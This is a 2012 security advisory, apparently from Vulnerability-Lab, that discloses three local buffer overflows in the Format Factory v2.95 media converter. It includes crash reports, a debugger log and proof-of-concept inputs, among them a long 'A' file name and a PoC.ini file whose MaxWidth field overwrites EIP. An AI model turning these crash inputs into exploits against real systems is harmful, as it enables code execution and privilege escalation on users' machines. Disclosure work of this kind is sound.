Title:
======
Format Factory v2.95 - Buffer Overflow Vulnerabilities


Date:
=====
2012-05-02


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=536
http://www.vulnerability-lab.com/get_content.php?id=539


VL-ID:
=====
536


Introduction:
=============
Format Factory is a multifunctional media converter. Provides functions below ...

- All to MP4/3GP/MPG/AVI/WMV/FLV/SWF.
- All to MP3/WMA/AMR/OGG/AAC/WAV.
- All to JPG/BMP/PNG/TIF/ICO/GIF/TGA.
- Rip DVD to video file , Rip Music CD to audio file. 
- MP4 files support iPod/iPhone/PSP/BlackBerry format.
- Supports RMVB,Watermark, AV Mux.

Format Factory`s Feature:

- support converting all popular video,audio,picture formats to others.
- Repair damaged video and audio file.
- Reducing Multimedia file size.
- Support iphone,ipod multimedia file formats.
- Picture converting supports Zoom,Rotate/Flip,tags.
- DVD Ripper.
- Supports 60 languages

- All Windows OS

(Copy of the Vendor Homepage: http://www.formatoz.com )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Buffer Overflow Vulnerabilities in Format Factory v2.95 Software.


Report-Timeline:
================
2012-05-01:  Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Free Time
Product: Format Factory v2.95


Exploitation-Technique:
=======================
Local


Severity:
=========
Critical


Details:
========
1.1
A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software.
The vulnerability allows an local attacker to overwrite the ecx & eip to control the affected vulnerable process.
Successful exploitation can result is privilege escalation with system access rights of the affected vulnerable 
software process. The vulnerability is located on the Custom Profile module when processing to add a file.


Vulnerable Module(s):
        [+] Custom Profile - File Add


--- Error Report (System) ---
Version=1
EventType=BEX
EventTime=129801306605752827
ReportType=2
Consent=1
ReportIdentifier=0140e860-918d-11e1-ba1b-a7b309768cde
IntegratorReportIdentifier=0140e85f-918d-11e1-ba1b-a7b309768cde
WOW64=1
Response.type=4
Sig[0].Name=Anwendungsname
Sig[0].Value=FormatFactory.exe
Sig[1].Name=Anwendungsversion
Sig[1].Value=2.95.0.0
Sig[2].Name=Anwendungszeitstempel
Sig[2].Value=4f848c41
Sig[3].Name=Fehlermodulname
Sig[3].Value=StackHash_059a
Sig[4].Name=Fehlermodulversion
Sig[4].Value=0.0.0.0
Sig[5].Name=Fehlermodulzeitstempel
Sig[5].Value=00000000
Sig[6].Name=Ausnahmeoffset
Sig[6].Value=00410041                 <=  ecx overwritten
Sig[7].Name=Ausnahmecode
Sig[7].Value=c0000005
Sig[8].Name=Ausnahmedaten

... &

EventType=APPCRASH
EventTime=129801310355837320
ReportType=2
Consent=1
ReportIdentifier=e0c79250-918d-11e1-ba1b-a7b309768cde
IntegratorReportIdentifier=e0c7924f-918d-11e1-ba1b-a7b309768cde
WOW64=1
Response.type=4
Sig[0].Name=Anwendungsname
Sig[0].Value=FormatFactory.exe
Sig[1].Name=Anwendungsversion
Sig[1].Value=2.95.0.0
Sig[2].Name=Anwendungszeitstempel
Sig[2].Value=4f848c41
Sig[3].Name=Fehlermodulname
Sig[3].Value=FormatFactory.exe
Sig[4].Name=Fehlermodulversion
Sig[4].Value=2.95.0.0
Sig[5].Name=Fehlermodulzeitstempel
Sig[5].Value=4f848c41
Sig[6].Name=Ausnahmecode
Sig[6].Value=c0000005
Sig[7].Name=Ausnahmeoffset
Sig[7].Value=00008f53


Picture(s):
        ../1.png
        ../2.png



1.2
A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software. The Buffer Overflow Vulnerability is 
located when processing to load large file names. Successful exploitation results in a local null ptr buffer overflow.
Attackers can form or load files (local) large names or extension name to crash the software stable when processing to 
save the input. The vulnerability did not allow to overwrite any registers of the affected vulnerable process. 



--- Error Report (System) ---
Problem Event Name:    BEX
Application Name:    FormatFactory.exe
Application Version:    2.60.0.0
Application Timestamp:    4cd197df
Fault Module Name:    MSVCR100.dll
Fault Module Version:    10.0.30319.1
Fault Module Timestamp:    4ba1dbbe
Exception Offset:    0008ae6e
Exception Code:      c0000417
Exception Data:      00000000
OS Version:      6.1.7600.2.0.0.256.1
Locale ID:      1033
Additional Information 1:  e07f
Additional Information 2:  e07f7afc2abe4439f8a8f96d499e3027
Additional Information 3:  5154
Additional Information 4:  515482f92719c2dc6fc04ebc97d28463



Picture(s):
        ../3.png
        ../4.png



1.3
A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software. The Buffer Overflow Vulnerability is 
located in the *.ini configuration file when processing to load the maxwidth size. Local attackers can implement 
or replace the ini settings to overwrite the EIP register. Successful exploitation can result is privilege escalation 
with system access rights of the affected vulnerable software process.

Vulnerable Module(s):
        [+] INI - Width & Height - Size & Buffer Validation


--- Error Report (System) ---
EventType=BEX
EventTime=129801380523760695
ReportType=2
Consent=1
ReportIdentifier=371c0b8c-919e-11e1-ba1b-a7b309768cde
IntegratorReportIdentifier=371c0b8b-919e-11e1-ba1b-a7b309768cde
WOW64=1
Response.type=4
Sig[0].Name=Anwendungsname
Sig[0].Value=FormatFactory.exe
Sig[1].Name=Anwendungsversion
Sig[1].Value=2.95.0.0
Sig[2].Name=Anwendungszeitstempel
Sig[2].Value=4f848c41
Sig[3].Name=Fehlermodulname
Sig[3].Value=StackHash_059a
Sig[4].Name=Fehlermodulversion
Sig[4].Value=0.0.0.0
Sig[5].Name=Fehlermodulzeitstempel
Sig[5].Value=00000000
Sig[6].Name=Ausnahmeoffset
Sig[6].Value=41414141        <=  overwritten register EIP
Sig[7].Name=Ausnahmecode
Sig[7].Value=c0000005
Sig[8].Name=Ausnahmedaten
Sig[8].Value=00000008
DynamicSig[1].Name=Betriebsystemversion
DynamicSig[1].Value=6.1.7601.2.1.0.768.3
DynamicSig[2].Name=Gebietsschema-ID
DynamicSig[2].Value=1031
DynamicSig[22].Name=Zusatzinformation 1
DynamicSig[22].Value=059a
DynamicSig[23].Name=Zusatzinformation 2
DynamicSig[23].Value=059a393e1c4f8097b3d5573aa130c733
DynamicSig[24].Name=Zusatzinformation 3
DynamicSig[24].Value=563a
DynamicSig[25].Name=Zusatzinformation 4
DynamicSig[25].Value=563a7086139512fa1af4651c2e9f9f50


Picture(s):
        ../5.png
        ../6.png


Proof of Concept:
=================
The stack & -buffer overflow vulnerabilities can be exploited by local attackers. For demonstration or reproduce ...

1.1
1024 bytes String  via add custom name to reproduce the vulnerability.

--- Exception Logs (ECX Overwrite) ---
(109c.6a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001cb628 ebx=001cc340 ecx=00000041 edx=02dedfdc esi=fd3e3024 edi=00a522e0
eip=013b8f53 esp=001cb2e8 ebp=001cb2ec iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
*** ERROR: Module load completed but symbols could not be loaded for C://Program Files 
(x86)/FreeTime/FormatFactory/FormatFactory.exe
FormatFactory+0x8f53:
013b8f53 66890c16        mov     word ptr [esi+edx],cx    ds:002b:001d1000=????



1.2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA.txt


1.3
../PoC.ini

Type=JPG
Icon=4
MaxWidth=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SizeLimit=0
Rotate=0
AddTagString=0
Angle=0.000
FontColor=0
TagString=
FontName=
Position=0
Margin=0
FontSize=0
FontItalic=0
FontUnderline=0

Note: Exploit available in python & perl.



Risk:
=====
1.1
The security risk of the local buffer overflow vulnerability is estimated as high(-).

1.2
The security risk of the local buffer overflow vulnerability is estimated as medium(+).

1.3
The security risk of the local buffer overflow vulnerability is estimated as high(-).


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (Rem0ve) [rem0ve@vulnerability-lab.com]
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed (the_storm) [storm@vulnerability-lab.com]


Disclaimer:
===========
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply.

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                Copyright © 2012 Vulnerability-Lab


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